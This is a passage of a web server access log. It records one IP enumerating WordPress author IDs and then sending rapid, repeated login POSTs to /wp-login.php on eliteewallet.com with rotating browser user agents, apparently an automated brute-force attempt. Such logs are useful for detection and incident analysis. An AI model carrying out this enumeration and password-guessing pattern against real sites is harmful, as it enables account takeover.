"-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:07 +0300] "GET /?author=14 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:12 +0300] "GET /?author=15 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:12 +0300] "GET /?author=16 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:13 +0300] "GET /?author=17 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:13 +0300] "GET /?author=18 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?author=19 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?author=20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:18 +0300] "GET /?author=21 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.157.191.20 - - [08/Mar/2026:01:04:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:36 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:37 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:10:38 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:02 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:04 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:05 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:06 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:07 +0300] "GET 